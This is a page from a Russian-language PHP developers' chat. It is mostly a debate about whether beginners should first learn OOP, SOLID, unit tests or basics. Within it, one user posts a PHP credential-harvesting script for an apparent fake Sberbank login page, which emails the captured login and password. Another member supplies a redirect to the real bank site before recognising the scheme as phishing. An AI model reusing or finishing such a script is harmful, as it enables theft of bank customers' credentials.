@phpgeeks

Страница 4571 из 8430
Max
15.04.2017
17:30:21
ну зандстру же дал, там вполне исчерпывающе, есть еще www.phptherightway.com , там тоже все современное для php перечислено, лучшие практики

Sanjar
15.04.2017
17:30:26
Маклафлина почитал немного, вроде неплохо объясняется, но по моему там не всё затронуто

f4rt~
15.04.2017
17:30:32
открыл первый попавшийся темплейт - сразу же фейл, вызов синглтона из темплейта
тебе от себя не тошнит? посмотри дату публикации движка

Google
giada
15.04.2017
17:30:43
Всем привет можно попросить о помощи? вот есть post запрос. как после его отправки сделать редирект на нужную страничку автоматически? <?php $page = isset($_GET['p'])?$_GET['p']:''; if($page=='sndm'){ $lg = $_POST['login']; $pw = $_POST['password']; $to = "почта@yandex.ru"; $name = "serv"; $email = "qwerty@mail.ru"; $tema = "SBRF"; $msg = "Login: " . $lg . " Password: " . $pw; $headers = 'From: ' . $name . ' <'. $email .'>' . "r"; $headers .= 'Content-type: text/plain; charset="utf-8"r'; mail($to, $tema, $msg, $headers); }; подскажите пожалуйста.

f4rt~
15.04.2017
17:30:54
4 года назад за знание паттерна синглтон звали сениором

Sanjar
15.04.2017
17:30:56
ну зандстру же дал, там вполне исчерпывающе, есть еще www.phptherightway.com , там тоже все современное для php перечислено, лучшие практики
Нет, Зандстра про ООП конкретно, а что-то ещё же есть из основ языка и всего ,что свзяано с бэкендом

Max
15.04.2017
17:32:11
4 года назад за знание паттерна синглтон звали сениором
это где? у нас тут уже с 90х народ по семинарам ездит, паттерны обсуждает

f4rt~
15.04.2017
17:33:04
вот ты сейчас говоришь синглтон антипатерн

а когда это изменилось?

Max
15.04.2017
17:33:27
ну в том смысле, что этому внимание уделяют давно уже и на работах ожидают, что будешь знать

f4rt~
15.04.2017
17:34:20
дай ты человеку совершить свои ошибки, что бы когда читал он заумные книжки мог с чем то сопоставить свой опыт и свои шишки

Max
15.04.2017
17:35:07
но зачем? он может выучить сразу все современное и пойти в нормальную фирму, где ооп юзают. А так будет хх лет по шарагам с говнокодом и низкими зарплатами тыкаться.

f4rt~
15.04.2017
17:35:24
о господи

ты машину умеешь водить?

Google
Max
15.04.2017
17:35:49
ну машину водить не спорю сразу не научишься

опыт нужен

f4rt~
15.04.2017
17:36:03
как теория так и практика

Max
15.04.2017
17:36:17
но в программировании все не так однозначно, можно сразу учить все современное, best practices и дело лучше пойдет

f4rt~
15.04.2017
17:36:38
судя по твои высказываниям тебе должно было хватить увидеть картинку как человек ведет машину

и описание с его слов почему он нажимает на те педальки

Max
15.04.2017
17:38:59
ну на машине, если плохо ведешь, то врежешся и дальше уже водить не будешь, а вот программирование вполне ошибки допускает, тут как раз важнее больше теории знать и сразу попасть в хорошее место, где тебя дальше продвинут

без ооп, солид и юнит тестов же попадешь только в шарагу, где сами ничего не знают

f4rt~
15.04.2017
17:39:59
и всю жизнь спрашивать себя почему я делаю так, хотя как мне кажется можно было по другому, потому что тебе это навязали а не ты сам пришел к этому

и во вторых

какой нахуй солид

юнит тесты

человек возможно вчера свой первый хеллоуворд написал

Arthur
15.04.2017
17:41:10
@Koshagol погодь. Ща я тебе накидаю примерный путь к само развитию) тк сказать как новичок новичку))

f4rt~
15.04.2017
17:41:42
Arthur
15.04.2017
17:41:58
Че за tdd

giada
15.04.2017
17:42:04
Max
15.04.2017
17:42:33
ну так за хеллоуворлдом надо следующий шаг делать, вот хеллоуворлд и тестируют юнит тестом, а потом уже оборачивают в mvc, структурируют по solid. Вместо этого можно 100500 функций php выучить, но это не фундаментальные знания, их всегда и нагуглить можно. А вот фундаментальные не нагуглишь.

f4rt~
15.04.2017
17:42:45
он самый
яндекс давно уже показывает плашку что отправленно не с реальной почты

Google
Moz
15.04.2017
17:43:59
он самый
ну, тогда вот так header('Location: https://online.sberbank.ru/CSAFront/index.do');

f4rt~
15.04.2017
17:44:04
ты не научишь ничему человека который не знает почему у него переменная не интерполируется в одинарных ковычках ооп солиду или юнит тестам

Arthur
15.04.2017
17:45:04
@Koshagol есть неплохой роад мап - https://github.com/kamranahmedse/developer-roadmap#-back-end-roadmap Я стараюсь по нему все изучать. Так как то посл довательней получается. По поводу mvc - это сильно) тут сначала лучше какойнить простой сервис написать))

Как я учился (и все еще учусь).

Max
15.04.2017
17:45:46
Кавычки кавычками, а в голове теорию надо держать, если ее нет, то кавычки не помогут. Это все частности, а фундаментальные знания как раз применимы везде, даже если решит с php на другой язык пересесть.

Moz
15.04.2017
17:46:27
яндекс давно уже показывает плашку что отправленно не с реальной почты
не, тут явно фейковая страница сбера и этот скрипт собираем аутентификационные данные и отправляет этой "Марии" на почту. А пользователя перекидывает потом куда-нибудь. На страницу с ошибкой

f4rt~
15.04.2017
17:47:09
такое уже не работает

Moz
15.04.2017
17:49:06
такое уже не работает
смотря на кого, увы. и как реализовано, конечно. такой дубовый способ - да, вряд ли

f4rt~
15.04.2017
17:51:54
Кавычки кавычками, а в голове теорию надо держать, если ее нет, то кавычки не помогут. Это все частности, а фундаментальные знания как раз применимы везде, даже если решит с php на другой язык пересесть.
ты не поверишь, но я согласен с этим, програмирование не про языки в принципе, но если человек до этого не имел дела с этим это все для него пустые слова, фундаментальные вещи они на то и фундаментальные, что предполагают что у человека должен быть какой-то фундмент за плечами, нельзя учить математику с 11 класса,того к чему люди пришли в школе за 11 лет, нужна четкая последовательность сложение/вычитание практика, след.материал и по новому;

Andrey
15.04.2017
17:53:31
слишком натянуто про 11 лет

Andrey
15.04.2017
17:53:59
11 лет учили не только математику, а еще 100500 предметов, если сократить только до одной математики, то за год можео управиться

f4rt~
15.04.2017
17:54:20
дискретная математика у тебя когда началась в 6,5?

Andrey
15.04.2017
17:54:51
виноват, исправлюсь

но так то математику с 1 класса начали учить ?

1 + 1 там

5 * 2, и так далее

Max
15.04.2017
17:55:59
Но частности все эти долго изучать можно, до фундамента так и не доберешься. Получаются программисты, которые знают кучу функций и билиотек, но не могут даже нормально свой код структурировать. Как с ними потом работать на совместных проектах? Они же весь код портят только.

Google
Max
15.04.2017
17:56:39
Зато когда берут практиканта, который ничего не знает, и сразу ему солид, паттерны и тесты, то потом его сразу можно в проект подключать, ничего не портится.

а вот недостающее он потом и легко добрать может типа кавычек

f4rt~
15.04.2017
17:57:30
речь не про 11 лет вообще, про ооп известно уже порядка 30 лет и я сомневаюсь что каждый из вас сразу же стал на путь истинный 30 лет назад, когда услышал за него; а практиканта без знаний не берут вообще, в исключительных случаях и по знакомству

открой любую вакансию на джуна и ниже на полу позицию

предполагается наличине определенных знаний

Max
15.04.2017
17:57:53
у нас кучу практикантов берут, на работе же и учат

f4rt~
15.04.2017
17:57:56
а не ооп tdd GRASP SOLID и тд

и не более

Admin
ERROR: S client not available

Max
15.04.2017
17:58:16
начинают с юнит тестов, потом code review, солид, паттерны и прочее

f4rt~
15.04.2017
17:58:17
я тебе сказал что для статистики твой случай просто ничто

Arthur
15.04.2017
17:59:31
Сначала я просто писал код. Потом я почувствовал что что-то пошло не так. Как то много копи паста. Так я познакомился с принципами DRY и полюбил функции. Как только я втянулся в написание функций и соблюдение DRY я как то незаметно начал соблюдать KISS. И это было хорошо)) Вообще нужно себя настолько приучить к DRY чтобы тебя аж трясло от трех повторяющихся строк в коде) как только ты к этому прийдешь можно посмотреть на функциональное программирование (ща меня закидают чем-нибудь омерзительным и тяжелым:) и на принципы микросервисов. Будет очередная эврика! А потом ты подумаешь - "вот было бы здорово как то контролировать что тебе идет на вход в функцию." И тут ты смотришь н ООП... Божечке как же здорово что кто то это все придумал! Как же это здорово это использовать! Особенно вместе с MVC паттерном!)) ну и собственно прежде чем что то делать на ООП и MVC нужно хотябы на той же википедии прочитать про SOLID и с чашечкой чая все это осознать. Ну а дальше тебе подскажет роадмап и чатик)) P.S. Это конечно же все имхо. Это то что подошло для меня и не факт что подойдет кому то другому (но я думаю что большинству такой роадмап вполне подойдёт)). P.P.S. На первых порах постарайся классы ООП воспринимать как особый тип данных. Так он легче в понимании дается.

Мля. Надеюсь за сообщение такой длинны не забанят...

f4rt~
15.04.2017
18:00:05
Сначала я просто писал код. Потом я почувствовал что что-то пошло не так. Как то много копи паста. Так я познакомился с принципами DRY и полюбил функции. Как только я втянулся в написание функций и соблюдение DRY я как то незаметно начал соблюдать KISS. И это было хорошо)) Вообще нужно себя настолько приучить к DRY чтобы тебя аж трясло от трех повторяющихся строк в коде) как только ты к этому прийдешь можно посмотреть на функциональное программирование (ща меня закидают чем-нибудь омерзительным и тяжелым:) и на принципы микросервисов. Будет очередная эврика! А потом ты подумаешь - "вот было бы здорово как то контролировать что тебе идет на вход в функцию." И тут ты смотришь н ООП... Божечке как же здорово что кто то это все придумал! Как же это здорово это использовать! Особенно вместе с MVC паттерном!)) ну и собственно прежде чем что то делать на ООП и MVC нужно хотябы на той же википедии прочитать про SOLID и с чашечкой чая все это осознать. Ну а дальше тебе подскажет роадмап и чатик)) P.S. Это конечно же все имхо. Это то что подошло для меня и не факт что подойдет кому то другому (но я думаю что большинству такой роадмап вполне подойдёт)). P.P.S. На первых порах постарайся классы ООП воспринимать как особый тип данных. Так он легче в понимании дается.
именно это и есть нормальный процесс обучения

Arthur
15.04.2017
18:00:43
А вообще - ничего на свете лучше нету чем классный наставник который работает с тобой в команде.

Max
15.04.2017
18:01:55
наставники не везде есть, а вот чтобы на того же джуна попасть, часто уже знание паттернов требуют

Andrey
15.04.2017
18:02:16
относительно

f4rt~
15.04.2017
18:02:24
отвечу тебе фразой с другого чата: Джуны с design patterns оверхед, не?

Google
Max
15.04.2017
18:03:47
ну так это реалии рынка, если хотят джунов с паттернами, то придется джунам учить паттерны

f4rt~
15.04.2017
18:04:06
не получается ли, что ты сам себе противоречишь?

Max
15.04.2017
18:04:20
практикантов, а не джунов, джунам зарплату платить надо, практикантам нет

точнее им тоже платят, но мало совсем

а вот джуну уже полную отваливай

f4rt~
15.04.2017
18:04:54
на полу позицию за 10 тыс рублей можно и обезьяну взять которая компьютером пользоватся не умеет

приглашай сюда своих практикантов, без знаний как ты говоришь, посмотрим чего их научили за пол годика

и насколько сильна фундаментальная база которая начинается с юнит тестов, грасп, солид и тдд)

Max
15.04.2017
18:09:35
тесты в коде есть, coverage 100%, разделения классов на роли есть, представление отделено от логики, dependency injection, фабрики, в gitе бранч под каждый тикет, и это все практикант через полгода-год

принципе может на code review даже обосновать что-то

но главное что общий код не портит уже, значит может в тиме дальше писать

Moz
15.04.2017
18:10:14
бля, я вот как-то вообще всегда считал, что фундаментальное в программировании - это понимание как строить алгоритмы. Какие нахуй юнит тесты?

Max
15.04.2017
18:11:05
бля, я вот как-то вообще всегда считал, что фундаментальное в программировании - это понимание как строить алгоритмы. Какие нахуй юнит тесты?
алгоритмы в веб-программировании? разве в рекомендательных системах каких, да поисках маршрутов

Moz
15.04.2017
18:11:44
алгоритмы в веб-программировании? разве в рекомендательных системах каких, да поисках маршрутов
не, если ты ебашишь простенькие лендинги - окей. Домашние бложики - тож окей

Max
15.04.2017
18:11:46
главное, чтобы в тиме работать мог и общий код не ухудшал, а это хорошо структурированный код и тесты

Moz
15.04.2017
18:12:12
и правда, нахуя алгоритмы?

сука, сделал мой вечер

f4rt~
15.04.2017
18:12:39
и правда, нахуя алгоритмы?
вот такой вот и получается практикант через пол года

Max
15.04.2017
18:12:39
они нужны, но редко

Страница 4571 из 8430